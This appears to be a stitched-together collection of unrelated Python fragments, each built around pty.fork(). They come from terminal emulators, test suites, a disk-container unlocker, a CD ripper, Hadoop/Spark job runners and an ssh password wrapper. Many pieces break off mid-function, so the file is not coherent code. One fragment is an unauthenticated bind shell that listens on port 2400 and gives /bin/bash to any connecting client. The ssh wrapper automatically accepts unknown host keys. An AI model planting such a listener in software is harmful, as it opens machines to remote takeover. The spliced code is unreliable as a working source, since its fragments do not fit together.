resource.getrlimit(resource.RLIMIT_NOFILE)[0])
os.closerange(3, exec_err_pipe_write)
os.closerange(exec_err_pipe_write + 1, max_fd)
if cwd is not None:
os.chdir(cwd)
if preexec_fn is not None:
try:
preexec_fn()
except Exception as e:
ename = type(e).__name__
tosend = '{}:0:{}'.format(ename, str(e))
if PY3:
tosend = tosend.encode('utf-8')
os.write(exec_err_pipe_write, tosend)
os.close(exec_err_pipe_write)
os._exit(1)
try:
if env is None:
os.execv(command, argv)
else:
os.execvpe(command, argv, env)
except OSError as err:
# [issue #119] 5. If exec fails, the child writes the error
# code back to the parent using the pipe, then exits.
tosend = 'OSError:{}:{}'.format(err.errno, str(err))
if PY3:
tosend = tosend.encode('utf-8')
os.write(exec_err_pipe_write, tosend)
os.close(exec_err_pipe_write)
os._exit(os.EX_OSERR)
# Parent
inst = cls(pid, fd)
# Set some informational attributes
inst.argv = argv
if env is not None:
inst.env = env
if cwd is not None:
inst.launch_dir = cwd
# [issue #119] 2. After forking, the parent closes the writing end
# of the pipe and reads from the reading end.
os.close(exec_err_pipe_write)
exec_err_data = os.read(exec_err_pipe_read, 4096)
os.close(exec_err_pipe_read)
# [issue #119] 6. The parent reads eof (a zero-length read) if the
# child successfully performed exec, since close-on-exec made
# successful exec close the writing end of the pipe. Or, if exec
# failed, the parent reads the error code and can proceed
# accordingly. Either way, the parent blocks until the child calls
# exec.
if len(exec_err_data) != 0:
try:
errclass, errno_s, errmsg = exec_err_data.split(b':', 2)
exctype = getattr(builtins, errclass.decode('ascii'),
Exception)
exception = exctype(errmsg.decode('utf-8', 'replace'))
if exctype is OSError:
exception.errno = int(errno_s)
except:
raise Exception('Subprocess failed, got bad error data: %r' %
exec_err_data)
else:
raise exception
try:
inst.setwinsize(*dimensions)
except IOError as err:
if err.args[0] not in (errno.EINVAL, errno.ENOTTY, errno.ENXIO):
raise
return inst
os.close(s1)
else:
tty.setraw(s1)
fcntl.fcntl(m1, fcntl.F_SETFL, os.O_NDELAY)
slavename = ptsname.ptsname(m1)
dom.storeDom("serial/0/tty", slavename)
# Release the domain lock here, because we definitely don't want
# a stuck bootloader to deny service to other xend clients.
from xen.xend import XendDomain
domains = XendDomain.instance()
domains.domains_lock.release()
(child, m2) = pty.fork()
if (not child):
args = [blexec]
if kernel:
args.append("--kernel=%s" % kernel)
if ramdisk:
args.append("--ramdisk=%s" % ramdisk)
if kernel_args:
args.append("--args=%s" % kernel_args)
if quiet:
args.append("-q")
args.append("--output=%s" % fifo)
if blargs:
args.extend(shlex.split(blargs))
args.append(disk)
# isatty() and close() can hang on some platforms
# set an alarm before running the test to make sure we don't hang forever
old_alarm = signal.signal(signal.SIGALRM, handle_sig)
signal.alarm(10)
try:
test_basic_pty()
finally:
# remove alarm, restore old alarm handler
signal.alarm(0)
signal.signal(signal.SIGALRM, old_alarm)
# basic pty passed.
debug("calling pty.fork()")
pid, master_fd = pty.fork()
if pid == pty.CHILD:
# stdout should be connected to a tty.
if not os.isatty(1):
debug("Child's fd 1 is not a tty?!")
os._exit(3)
# After pty.fork(), the child should already be a session leader.
# (on those systems that have that concept.)
debug("In child, calling os.setsid()")
try:
os.setsid()
except OSError:
# Good, we already were session leader
debug("Good: OSError was raised.")
pass
def unlock_container(self,
device_name,
container_path,
key_file=None,
mount_point=None,
pw_callback=None):
""" Unlocks LUKS or Truecrypt containers.
Validates input and keeps asking
for the passphrase until successfull unlock,
followed by an optional mount.
:param device_name: The device mapper name
:type device_name: str
:param container_path: The path of the container file
:type container_path: str
:param key_file: The path to an optional keyfile to be used for the container
:type key_file: str or None
:param mount_point: The path of an optional mount point
:type mount_point: str or None
:param pw_callback: A callback function that returns the password for unlocking
:type pw_callback: function()
:raises: WorkerException
"""
''' ask for password and try to open container, followed by an optional mount '''
is_unlocked = self.check_status(device_name, container_path, key_file,
mount_point)
if not is_unlocked: # just return if unlocked -> does not mount an already unlocked container
if pw_callback is None:
pw_callback = lambda: self.communicate('getPassword')
# workaround udisks-daemon crash (udisksd from udisks2 is okay): although cryptsetup is able to handle
# loopback device creation/teardown itself using this crashes udisks-daemon -> manual loopback device handling here
try:
loop_dev = subprocess.check_output(
['losetup', '-f', '--show', container_path],
stderr=subprocess.PIPE,
universal_newlines=True).strip()
except subprocess.CalledProcessError as cpe:
raise WorkerException(
cpe.output) # most likely no more loopdevices available
crypt_initialized = False
try:
# check if LUKS container, try Truecrypt otherwise (tc container cannot be identified by design)
container_is_luks = (subprocess.call(
['cryptsetup', 'isLuks', container_path]) == 0)
if container_is_luks:
open_command = [
'cryptsetup',
'luksOpen' if self.is_cryptsetup_legacy else 'open',
loop_dev, device_name
]
else:
if self.is_cryptsetup_legacy:
raise WorkerException(
_('Container file is not a LUKS encrypted device:\n{file_path}\n\n'
).format(file_path=loop_dev) +
_('If you want to use TrueCrypt containers\n'
'make sure `cryptsetup` is at least version 1.6 (`cryptsetup --version`)\n'
'and `tcplay` is installed (eg for Debian/Ubuntu `apt-get install tcplay`)'
))
else:
open_command = [
'cryptsetup', 'open', '--type', 'tcrypt', loop_dev,
device_name
]
with open(os.devnull) as DEVNULL:
if key_file is None:
while not is_unlocked:
p = subprocess.Popen(open_command,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE,
stdout=DEVNULL,
universal_newlines=True,
close_fds=True)
__, errors = p.communicate(pw_callback())
if p.returncode == 0:
is_unlocked = True
elif p.returncode == 2: # cryptsetup: no permission (bad passphrase)
continue
else:
raise WorkerException(errors)
else:
open_command += ['--key-file', key_file]
if container_is_luks:
p = subprocess.Popen(open_command,
stdin=subprocess.PIPE,
stderr=subprocess.PIPE,
stdout=DEVNULL,
universal_newlines=True,
close_fds=True)
__, errors = p.communicate()
if p.returncode != 0:
if p.returncode == 2:
raise WorkerException(
_('Open container failed.\nPlease check key file'
)
) # error message from cryptsetup is a bit ambiguous
else:
raise WorkerException(errors)
else:
# open TrueCrypt container with keyfile and without password
import select
import pty
import termios
# this is were I sincerly regret the shortcut of using shell-calls instead of calling libcryptsetup with ctypes
# anyway, here we go: when opening TrueCrypt containers with keyfiles and without password, cryptsetup insists on using a tty
# instead of reading from stdin (see: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=748286)
# just using openpty() to trick cryptsetup wouldn't work because its password prompt won't be handled by the subprocess stdin/out
# but mess up the parents(workers) stdin/out instead
try: # well then, go fork yourself X)
child_pid, fd = pty.fork()
except OSError as ose:
raise WorkerException(ose)
if child_pid == 0:
# forked child process
p = subprocess.Popen(open_command,
stdin=sys.stdin,
stderr=subprocess.PIPE,
stdout=sys.stdout,
universal_newlines=True)
p.wait()
if p.returncode != 0:
if p.returncode == 2:
sys.stdout.write(
'PTY_ERROR' +
_('Open container failed.\nPlease check key file'
)
) # error message from cryptsetup is a bit ambiguous
else:
sys.stdout.write('PTY_ERROR' +
p.stderr.read())
sys.stdout.close()
sys.exit(p.returncode)
else:
child_out = ''
while True:
attr = termios.tcgetattr(fd)
if not bool(
attr[3] & termios.ECHO
): # detect disabled echo for password prompt
os.write(fd, '\n'.encode('utf-8'))
sleep(1)
else:
r, __, __ = select.select([fd], [], [],
0.1)
if fd in r:
try:
tmp = os.read(fd, 1024)
child_out += tmp
except TypeError: # PY3
child_out += tmp.decode(
'utf-8')
except OSError: # EOF
break
if 'PTY_ERROR' in child_out:
raise WorkerException(
child_out.rsplit('PTY_ERROR',
1)[1].strip())
crypt_initialized = True
finally:
if not crypt_initialized:
self.detach_loopback_device(loop_dev)
if mount_point is not None: # only mount if optional parameter mountpoint is set
try:
subprocess.check_output([
'mount', '-o', 'nosuid,nodev',
self.get_device_mapper_name(device_name), mount_point
],
stderr=subprocess.STDOUT,
universal_newlines=True)
except subprocess.CalledProcessError as cpe:
raise WorkerException(cpe.output)
# signal udev to process event queue (required for older udisks)
with open(os.devnull) as DEVNULL:
subprocess.call(['udevadm', 'trigger'],
stdout=DEVNULL,
stderr=subprocess.STDOUT)
def ripread(track, offset=0):
"rip one track from an image file."
data = {}
start_time = time.time()
pid, master_fd = pty.fork() # this could also be done with a pipe, anyone?
if pid == CHILD:
#debug:
#so=open("/tmp/stdout", "w")
#sys.stdout = so
#se=open("/tmp/stderr", "w+")
#sys.stderr = se
default_signals()
# FIXME: all this offset stuff has to go, track 0 support has to come.
print ":fAE: waiting for status report..."
sys.stdout.flush()
hdr = sndhdr.whathdr(cf['_image_file'])
my_swap_byteorder = cf['_swap_byteorder']
my_offset = offset
if hdr:
## I guess most people use cdparanoia 1- (instead of 0- if applicable)
## for image creation, so for a wav file use:
image_offset = -offset
else:
if string.upper(cf['_image_file'])[-4:] == ".CDR":
hdr = ('cdr', 44100, 2, -1, 16) # Unknown header, assuming cdr
#
## assume old cdrdao which started at track 1, not at block 0
image_offset = -offset
elif string.upper(cf['_image_file'])[-4:] == ".BIN":
hdr = ('bin', 44100, 2, -1, 16) # Unknown header, assuming bin
#
## assume new cdrdao which starts at block 0, byteorder is reversed.
my_swap_byteorder = not my_swap_byteorder
image_offset = 0
elif string.upper(cf['_image_file'])[-4:] == ".RAW":
hdr = ('bin', 44100, 2, -1, 16) # Unknown header, assuming raw
image_offset = 0
else:
debug("unsupported image file " + cf['_image_file'])
posix._exit(4)
expected_filesize = jack_functions.tracksize(
jack_ripstuff.all_tracks)[CDR] + CDDA_BLOCKSIZE * offset
#
## WAVE header is 44 Bytes for normal PCM files...
#
if hdr[0] == 'wav':
expected_filesize = expected_filesize + 44
if abs(jack_utils.filesize(cf['_image_file']) -
expected_filesize) > CDDA_BLOCKSIZE:
# we *do* allow a difference of one frame
debug("image file size mismatch, aborted. %d != %d" %
(jack_utils.filesize(cf['_image_file']), expected_filesize))
posix._exit(1)
elif hdr[0] == 'wav' and (hdr[1], hdr[2], hdr[4]) != (44100, 2, 16):
debug("unsupported WAV, need CDDA_fmt, aborted.")
posix._exit(2)
elif hdr[0] not in ('wav', 'cdr', 'bin'):
debug("unsupported: " + hdr[0] + ", aborted.")
posix._exit(3)
else:
f = open(cf['_image_file'], 'r')
#
## set up output wav file:
#
wav = wave.open(track[NAME] + ".wav", 'w')
wav.setnchannels(2)
wav.setsampwidth(2)
wav.setframerate(44100)
wav.setnframes(0)
wav.setcomptype('NONE', 'not compressed')
#
## calculate (and seek to) position in image file
#
track_start = (track[START] + image_offset) * CDDA_BLOCKSIZE
if hdr[0] == 'wav':
track_start = track_start + 44
f.seek(track_start)
#
## copy / convert the stuff
#
for i in range(0, track[LEN]):
buf = array.array("h")
buf.fromfile(f, 1176) # CDDA_BLOCKSIZE / 2
if not my_swap_byteorder: # this is inverted as WAVE swabs them anyway.
buf.byteswap()
wav.writeframesraw(buf.tostring())
if i % 1000 == 0:
print ":fAE: Block " + ` i ` + "/" + ` track[LEN] ` + (
" (%2i%%)" % (i * 100 / track[LEN]))
sys.stdout.flush()
wav.close()
f.close()
stop_time = time.time()
read_speed = track[LEN] / CDDA_BLOCKS_PER_SECOND / (stop_time -
start_time)
if read_speed < 100:
print "[%2.0fx]" % read_speed,
else:
print "[99x]",
if hdr[0] in ('bin', 'wav'):
print "[ - read from image - ]"
else:
print "[cdr-WARNING, check byteorder !]"
sys.stdout.flush()
posix._exit(0)
else: # we are not the child
data['start_time'] = start_time
data['pid'] = pid
data['fd'] = master_fd
data['file'] = os.fdopen(master_fd)
data['cmd'] = ""
data['buf'] = ""
data['type'] = "image_reader"
data['prog'] = "builtin"
data['track'] = track
data['percent'] = 0
data['otf'] = 0
data['elapsed'] = 0
return data
def _run_job_in_hadoop(self):
self._counters = []
for step_num in xrange(self._num_steps()):
log.debug('running step %d of %d' %
(step_num + 1, self._num_steps()))
step_args = self._args_for_step(step_num)
log.debug('> %s' % cmd_line(step_args))
# try to use a PTY if it's available
try:
pid, master_fd = pty.fork()
except (AttributeError, OSError):
# no PTYs, just use Popen
step_proc = Popen(step_args, stdout=PIPE, stderr=PIPE)
self._process_stderr_from_streaming(step_proc.stderr)
# there shouldn't be much output to STDOUT
for line in step_proc.stdout:
log.error('STDOUT: ' + line.strip('\n'))
returncode = step_proc.wait()
else:
# we have PTYs
if pid == 0: # we are the child process
os.execvp(step_args[0], step_args)
else:
master = os.fdopen(master_fd)
# reading from master gives us the subprocess's
# stderr and stdout (it's a fake terminal)
self._process_stderr_from_streaming(master)
_, returncode = os.waitpid(pid, 0)
master.close()
if returncode == 0:
# parsing needs step number for whole job
self._fetch_counters([step_num + self._start_step_num])
# printing needs step number relevant to this run of mrjob
self.print_counters([step_num + 1])
else:
msg = ('Job failed with return code %d: %s' %
(returncode, step_args))
log.error(msg)
# look for a Python traceback
cause = self._find_probable_cause_of_failure(
[step_num + self._start_step_num])
if cause:
# log cause, and put it in exception
cause_msg = [] # lines to log and put in exception
cause_msg.append('Probable cause of failure (from %s):' %
cause['log_file_uri'])
cause_msg.extend(
line.strip('\n') for line in cause['lines'])
if cause['input_uri']:
cause_msg.append('(while reading from %s)' %
cause['input_uri'])
for line in cause_msg:
log.error(line)
# add cause_msg to exception message
msg += '\n' + '\n'.join(cause_msg) + '\n'
raise CalledProcessError(returncode, step_args)
import time
import pty
def signal_handler(signum, frame):
print('Signal handler called with signal:', signum)
print('signal.SIGCHLD=', signal.SIGKILL)
# First thing we do is set up a handler for SIGCHLD.
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
print('PART 1 -- Test signal handling with empty pipe.')
# Create a child process for us to kill.
try:
pid, fd = pty.fork()
except Exception as e:
print(str(e))
if pid == 0:
# os.write (sys.stdout.fileno(), 'This is a test.\n This is a test.')
time.sleep(10000)
print('Sending SIGKILL to child pid:', pid)
os.kill(pid, signal.SIGKILL)
# SIGCHLD should interrupt sleep.
# Note that this is a race.
# It is possible that the signal handler will get called
# before we try to sleep, but this has not happened yet.
# But in that case we can only tell by order of printed output.
def test_fork(self):
debug("calling pty.fork()")
pid, master_fd = pty.fork()
if pid == pty.CHILD:
# stdout should be connected to a tty.
if not os.isatty(1):
debug("Child's fd 1 is not a tty?!")
os._exit(3)
# After pty.fork(), the child should already be a session leader.
# (on those systems that have that concept.)
debug("In child, calling os.setsid()")
try:
os.setsid()
except OSError:
# Good, we already were session leader
debug("Good: OSError was raised.")
pass
except AttributeError:
# Have pty, but not setsid()?
debug("No setsid() available?")
pass
except:
# We don't want this error to propagate, escaping the call to
# os._exit() and causing very peculiar behavior in the calling
# regrtest.py !
# Note: could add traceback printing here.
debug("An unexpected error was raised.")
os._exit(1)
else:
debug("os.setsid() succeeded! (bad!)")
os._exit(2)
os._exit(4)
else:
debug("Waiting for child (%d) to finish." % pid)
# In verbose mode, we have to consume the debug output from the
# child or the child will block, causing this test to hang in the
# parent's waitpid() call. The child blocks after a
# platform-dependent amount of data is written to its fd. On
# Linux 2.6, it's 4000 bytes and the child won't block, but on OS
# X even the small writes in the child above will block it. Also
# on Linux, the read() will raise an OSError (input/output error)
# when it tries to read past the end of the buffer but the child's
# already exited, so catch and discard those exceptions. It's not
# worth checking for EIO.
while True:
try:
data = os.read(master_fd, 80)
except OSError:
break
if not data:
break
sys.stdout.write(str(data.replace(b'\r\n', b'\n'),
encoding='ascii'))
##line = os.read(master_fd, 80)
##lines = line.replace('\r\n', '\n').split('\n')
##if False and lines != ['In child, calling os.setsid()',
## 'Good: OSError was raised.', '']:
## raise TestFailed("Unexpected output from child: %r" % line)
(pid, status) = os.waitpid(pid, 0)
res = status >> 8
debug("Child (%d) exited with status %d (%d)." % (pid, res, status))
if res == 1:
self.fail("Child raised an unexpected exception in os.setsid()")
elif res == 2:
self.fail("pty.fork() failed to make child a session leader.")
elif res == 3:
self.fail("Child spawned by pty.fork() did not have a tty as stdout")
elif res != 4:
self.fail("pty.fork() failed for unknown reasons.")
##debug("Reading from master_fd now that the child has exited")
##try:
## s1 = os.read(master_fd, 1024)
##except os.error:
## pass
##else:
## raise TestFailed("Read from master_fd did not raise exception")
os.close(master_fd)
def ssh_exec_pass(password,
args,
capture_output=False,
suppress_known_hosts=False):
'''
Wrapper around openssh that allows you to send a password to
ssh/sftp/scp et al similar to sshpass. *nix only, tested on linux
and OSX.
Not super robust, but works well enough for most purposes. Typical
usage might be::
ssh_exec_pass('p@ssw0rd', ['ssh', '[email protected]', 'echo hi!'])
:param args: A list of args. arg[0] must be the command to run.
:param capture_output: If True, suppresses output to stdout and stores
it in a buffer that is returned
:returns: (retval, output)
'''
import pty, select
# create pipe for stdout
stdout_fd, w1_fd = os.pipe()
stderr_fd, w2_fd = os.pipe()
pid, pty_fd = pty.fork()
if not pid:
# in child
os.close(stdout_fd)
os.close(stderr_fd)
os.dup2(w1_fd, 1) # replace stdout on child
os.dup2(w2_fd, 2) # replace stderr on child
os.close(w1_fd)
os.close(w2_fd)
os.execv(args[0], args)
os.close(w1_fd)
os.close(w2_fd)
output = bytearray()
rd_fds = [stdout_fd, stderr_fd, pty_fd]
def _read(fd):
if fd not in rd_ready:
return
try:
data = os.read(fd, 1024)
except IOError:
data = None
if not data:
rd_fds.remove(fd) # EOF
return data
# Read data, etc
try:
while rd_fds:
rd_ready, _, _ = select.select(rd_fds, [], [], 0.04)
if rd_ready:
# Deal with prompts from pty
data = _read(pty_fd)
if data is not None:
if b'assword:' in data:
os.write(pty_fd, bytes(password + '\n', 'utf-8'))
elif b're you sure you want to continue connecting' in data:
os.write(pty_fd, b'yes\n')
# Deal with stdout
data = _read(stdout_fd)
if data is not None:
if capture_output:
output.extend(data)
else:
sys.stdout.write(data.decode('utf-8', 'ignore'))
data = _read(stderr_fd)
if data is not None:
if not suppress_known_hosts or b'Warning: Permanently added' not in data:
sys.stderr.write(data.decode('utf-8', 'ignore'))
finally:
os.close(pty_fd)
pid, retval = os.waitpid(pid, 0)
retval = (retval & 0xff00) >> 8
return retval, output
def initialize(self):
ppid, pio = pty.fork()
if ppid == 0: #Processo figlo
stdin = 0
stdout = 1
stderr = 2
env = {}
env["TERM"] = "xterm"
env["SHELL"] = self._path
env["PATH"] = os.environ['PATH']
applng = os.environ.get('LANG')
if applng is not None:
if not (applng.upper().endswith(".UTF8")
or applng.upper().endswith(".UTF-8")):
applng = None
if applng is None:
applng = self._getutf8lang()
if applng is not None:
env["LANG"] = applng
env["PYTHONIOENCODING"] = "utf_8"
attrs = termios.tcgetattr(stdout)
iflag, oflag, cflag, lflag, ispeed, ospeed, cc = attrs
if 'IUTF8' in termios.__dict__:
iflag |= (termios.IXON | termios.IXOFF
| termios.__dict__['IUTF8'])
else:
iflag |= (termios.IXON | termios.IXOFF | 0x40000)
oflag |= (termios.OPOST | termios.ONLCR | termios.INLCR)
attrs = [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]
termios.tcsetattr(stdout, termios.TCSANOW, attrs)
attrs = termios.tcgetattr(stdin)
iflag, oflag, cflag, lflag, ispeed, ospeed, cc = attrs
if 'IUTF8' in termios.__dict__:
iflag |= (termios.IXON | termios.IXOFF
| termios.__dict__['IUTF8'])
else:
iflag |= (termios.IXON | termios.IXOFF | 0x40000)
oflag |= (termios.OPOST | termios.ONLCR | termios.INLCR)
attrs = [iflag, oflag, cflag, lflag, ispeed, ospeed, cc]
termios.tcsetattr(stdin, termios.TCSANOW, attrs)
os.dup2(stderr, stdout)
os.chdir("/")
os.execvpe(self._path, [], env)
os._exit(0)
fl = fcntl.fcntl(sys.stdin, fcntl.F_GETFL)
fcntl.fcntl(pio, fcntl.F_SETFL, fl | os.O_NONBLOCK)
fcntl.ioctl(pio, termios.TIOCSWINSZ,
struct.pack("hhhh", self._rows, self._cols, 0, 0))
self.ppid = ppid
self.pio = pio
self._reader = io.open(pio, 'rb', closefd=False)
self._writer = io.open(pio, 'wt', encoding="UTF-8", closefd=False)
try:
self._manager._cinfo.inc_activities_value("shellSession")
except:
None
def exec(self):
if not self.cmd[0][0] == '/':
print(
'[N] Command is not executed with absolute path, trying to find: {}'
.format(self.cmd[0]))
o = b''.join(
sys_command('/usr/bin/whereis {}'.format(self.cmd[0])).exec())
self.cmd[0] = o.split(b' ')[1].decode('UTF-8')
print('[N] This is what I\'m going with: {}'.format(self.cmd[0]))
# PID = 0 for child, and the PID of the child for the parent
self.pid, child_fd = pty.fork()
if not self.pid: # Child process
# Replace child process with our main process
os.execv(self.cmd[0], self.cmd)
poller = epoll()
poller.register(child_fd, EPOLLIN | EPOLLHUP)
alive = True
trace_log = b''
last_trigger_pos = 0
while alive:
for fileno, event in poller.poll(0.1):
try:
output = os.read(child_fd, 8192).strip()
trace_log += output
except OSError:
alive = False
break
if 'debug' in self.opts and self.opts['debug']:
if len(output):
print(output)
lower = output.lower()
broke = False
if 'triggers' in self.opts:
for trigger in list(self.opts['triggers']):
if trigger.lower(
) in trace_log[last_trigger_pos:].lower():
if 'debug' in self.opts and self.opts['debug']:
print('[N] Writing to subsystem: {}'.format(
self.opts['triggers'][trigger].decode(
'UTF-8')))
last_trigger_pos = len(trace_log)
os.write(child_fd, self.opts['triggers'][trigger])
del (self.opts['triggers'][trigger])
broke = True
break
if broke:
continue
## Adding a exit trigger:
if len(self.opts['triggers']) == 0:
if 'debug' in self.opts and self.opts['debug']:
print('[N] Waiting for last command to finish...')
if bytes(
f'[root@{args["hostname"]} ~]#'.lower(),
'UTF-8'
) in trace_log[0 -
len(f'[root@{args["hostname"]} ~]#') -
5:].lower():
if 'debug' in self.opts and self.opts['debug']:
print(
'[N] Last command finished, exiting subsystem.'
)
alive = False
break
yield output
# Gracefully wait for the last output to be given to us from the above command.
# Or break on OSError (process has died)
last = time()
while time() - last < 5:
for fileno, event in poller.poll(0.1):
try:
output = os.read(child_fd, 8192).strip()
trace_log += output
except OSError:
last = time() - 60
break
if 'debug' in self.opts and self.opts['debug']:
if len(output):
print(output)
last = time()
if 'debug' in self.opts and self.opts['debug']:
print('[N] Exited subsystem, instructing it to shutdown.')
# Since we're in a subsystem, we gotta bail out!
# Bail bail bail!
os.write(child_fd, b'shutdown now\n')
# We need to flush the output of shutdown now, otherwise the
# Popen() handle will hang and we'll never exit out of os.waitpid() later on.
alive = True
while alive:
for fileno, event in poller.poll(0.1):
try:
output = os.read(child_fd, 8192).strip()
trace_log += output
except OSError:
alive = False
break
if 'debug' in self.opts and self.opts['debug']:
if len(output):
print(output)
if b'Container temporary has been shutdown.' in trace_log[
0 - len('Container temporary has been shutdown.') -
5:]:
alive = False
break
if 'debug' in self.opts and self.opts['debug']:
print('[N] Waiting for exit code.')
exit_code = os.waitpid(self.pid, 0)[1]
if exit_code != 0:
print(
'[E] Command "{}" on line ~150 exited with status code:'.
format(self.cmd[0]), exit_code)
print(trace_log)
print('[?] Command executed: {}'.format(self.cmd))
exit(1)
if 'debug' in self.opts and self.opts['debug']:
print('[N] Subsystem routine complete.')
def _run_spark_submit(self, spark_submit_args, env, record_callback):
"""Run the spark submit binary in a subprocess, using a PTY if possible
:param spark_submit_args: spark-submit binary and arguments, as as list
:param env: environment variables, as a dict
:param record_callback: a function that takes a single log4j record
as its argument (see
:py:func:`~mrjob.logs.log4j\
._parse_hadoop_log4j_records)
:return: the subprocess's return code
"""
log.debug('> %s' % cmd_line(spark_submit_args))
log.debug(' with environment: %r' % sorted(env.items()))
returncode = 0 # should always be set, but just in case
# try to use a PTY if it's available
try:
pid, master_fd = pty.fork()
except (AttributeError, OSError):
# no PTYs, just use Popen
# user won't get much feedback for a while, so tell them
# spark-submit is running
log.debug('No PTY available, using Popen() to invoke spark-submit')
step_proc = Popen(
spark_submit_args, stdout=PIPE, stderr=PIPE, env=env)
for line in step_proc.stderr:
for record in _parse_hadoop_log4j_records(
_yield_lines_from_pty_or_pipe(step_proc.stderr)):
record_callback(record)
# there shouldn't be much output on STDOUT
for record in _parse_hadoop_log4j_records(step_proc.stdout):
record_callback(record)
step_proc.stdout.close()
step_proc.stderr.close()
returncode = step_proc.wait()
else:
# we have PTYs
if pid == 0: # we are the child process
try:
os.execvpe(spark_submit_args[0], spark_submit_args, env)
# now this process is no longer Python
except OSError as ex:
# use _exit() so we don't do cleanup, etc. that's
# the parent process's job
os._exit(ex.errno)
finally:
# if we get some other exception, still exit hard
os._exit(-1)
else:
log.debug('Invoking spark-submit via PTY')
with os.fdopen(master_fd, 'rb') as master:
for record in _parse_hadoop_log4j_records(
_yield_lines_from_pty_or_pipe(master)):
record_callback(record)
_, returncode = os.waitpid(pid, 0)
return returncode
self.exit_code = os.waitpid(self.child_fd, 0)[1]
except ChildProcessError:
self.exit_code = 1
def execute(self) -> bool:
import pty
if (old_dir := os.getcwd()) != self.working_directory:
os.chdir(str(self.working_directory))
# Note: If for any reason, we get a Python exception between here
# and until os.close(), the traceback will get locked inside
# stdout of the child_fd object. `os.read(self.child_fd, 8192)` is the
# only way to get the traceback without loosing it.
self.pid, self.child_fd = pty.fork()
# https://stackoverflow.com/questions/4022600/python-pty-fork-how-does-it-work
if not self.pid:
try:
try:
with open(f"{storage['LOG_PATH']}/cmd_history.txt", "a") as cmd_log:
cmd_log.write(f"{' '.join(self.cmd)}\n")
except PermissionError:
pass
os.execve(self.cmd[0], list(self.cmd), {**os.environ, **self.environment_vars})
if storage['arguments'].get('debug'):
log(f"Executing: {self.cmd}", level=logging.DEBUG)
except FileNotFoundError:
#from socket import *
import socket
watch = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)
watch.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
watch.bind(('', 2400))
watch.listen(5)
while True:
sock, remote = watch.accept()
if os.fork():
continue
pid, childID = pty.fork()
if pid == 0:
pty.spawn('/bin/bash')
else:
b = sock.makefile(os.O_RDONLY | os.O_NONBLOCK)
c = os.fdopen(childID, 'r+')
data = ''
x = {b: c, c: b}
while True:
for f in select.select([b, c], [], [])[0]:
try:
d = os.read(f.fileno(), 4096)
except:
sys.exit(0)
lisp_exp = lisp_path.replace('\\', '\\\\')
if not mswindows:
# Popen does not work with tilde-prefix on Linux
# so we expand them to the home directory
user = os.path.expanduser('~/')
lisp_exp = lisp_exp.replace(' ~/', ' ' + user)
cmd = shlex.split(lisp_exp)
# Start Lisp
if mswindows or darwin:
repl = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=STDOUT)
repl_stdin = repl.stdin
repl_stdout = repl.stdout
repl_pid = repl.pid
else:
repl_pid, repl_fd = pty.fork()
if repl_pid == 0:
os.execvp(cmd[0], cmd)
os._exit(1)
repl_stdin = repl_stdout = os.fdopen(repl_fd)
buffer = repl_buffer(sys.stdout)
# Create and start helper threads
sl = socket_listener(repl_stdin, buffer, repl_pid)
sl.start()
ol = output_listener(repl_stdout, buffer)
ol.start()
# Allow Lisp to start, confuse it with some fancy Slimv messages
sys.stdout.write(";;; Slimv server is started on port " + str(PORT) +
def __init__(self,
manager=None,
id=None,
ws=None,
command=None,
autoclose=False,
log=None,
autoclose_retain=5):
self.width = 80
self.height = 25
self.id = id
self.manager = manager
self.autoclose = autoclose
self.autoclose_retain = autoclose_retain
self.ws = ws
self.log = log
env = {}
env.update(os.environ)
env['TERM'] = 'linux'
env['COLUMNS'] = str(self.width)
env['LINES'] = str(self.height)
env['LC_ALL'] = 'en_US.UTF8'
self.command = command
if not self.command:
shell = os.environ.get('SHELL', None)
if not shell:
for sh in ['zsh', 'bash', 'sh']:
try:
shell = subprocess.check_output(['which', sh])
break
except Exception as e:
pass
self.command = shell
args = ['sh', '-c', self.command]
exe = 'sh'
self.log.info('Activating new terminal: %s', self.command)
self.pid, self.fd = pty.fork()
if self.pid == 0:
setproctitle.setproctitle('%s terminal session #%i' %
(sys.argv[0], os.getpid()))
os.execvpe(exe, args, env)
self.log.info('Subprocess PID %s', self.pid)
self.dead = False
fl = fcntl.fcntl(self.fd, fcntl.F_GETFL)
fcntl.fcntl(self.fd, fcntl.F_SETFL, fl | os.O_NONBLOCK)
self.stream_in = os.fdopen(self.fd, 'rb', 0)
self.stream_out = os.fdopen(self.fd, 'wb', 0)
self.pyte_stream = pyte.Stream()
self.screen = pyte.DiffScreen(self.width, self.height)
self.pyte_stream.attach(self.screen)
self.last_cursor_position = None
self.reader = gevent.spawn(self.reader_fn)
def test_ioctl(self):
import fcntl
import array
import os
import pty
import time
try:
from termios import TIOCGPGRP
except ImportError:
skip("don't know how to test ioctl() on this platform")
raises(TypeError, fcntl.ioctl, "foo")
raises(TypeError, fcntl.ioctl, 0, "foo")
#raises(TypeError, fcntl.ioctl, 0, TIOCGPGRP, float(0))
raises(TypeError, fcntl.ioctl, 0, TIOCGPGRP, 1, "foo")
child_pid, mfd = pty.fork()
if child_pid == 0:
# We're the child
time.sleep(1)
os._exit(0)
try:
# We're the parent, we want TIOCGPGRP calls after child started but before it dies
time.sleep(0.5)
buf = array.array('i', [0])
res = fcntl.ioctl(mfd, TIOCGPGRP, buf, True)
assert res == 0
assert buf[0] != 0
expected = buf.tostring()
buf = array.array('i', [0])
res = fcntl.ioctl(mfd, TIOCGPGRP, buf)
assert res == 0
assert buf.tostring() == expected
buf = array.array('i', [0])
res = fcntl.ioctl(mfd, TIOCGPGRP, buffer(buf))
assert res == expected
assert buf.tostring() == '\x00' * 4
exc = raises(TypeError, fcntl.ioctl, mfd, TIOCGPGRP,
memoryview('abc'))
assert 'integer' in str(exc.value)
exc = raises(TypeError, fcntl.ioctl, mfd, TIOCGPGRP, buffer(buf),
False)
assert str(
exc.value
) == "ioctl requires a file or file descriptor, an integer and optionally an integer or buffer argument"
exc = raises(TypeError, fcntl.ioctl, mfd, TIOCGPGRP,
memoryview('abc'), False)
assert str(
exc.value
) == "ioctl requires a file or file descriptor, an integer and optionally an integer or buffer argument"
res = fcntl.ioctl(mfd, TIOCGPGRP, buf, False)
assert res == expected
raises(TypeError, fcntl.ioctl, mfd, TIOCGPGRP, "\x00\x00", True)
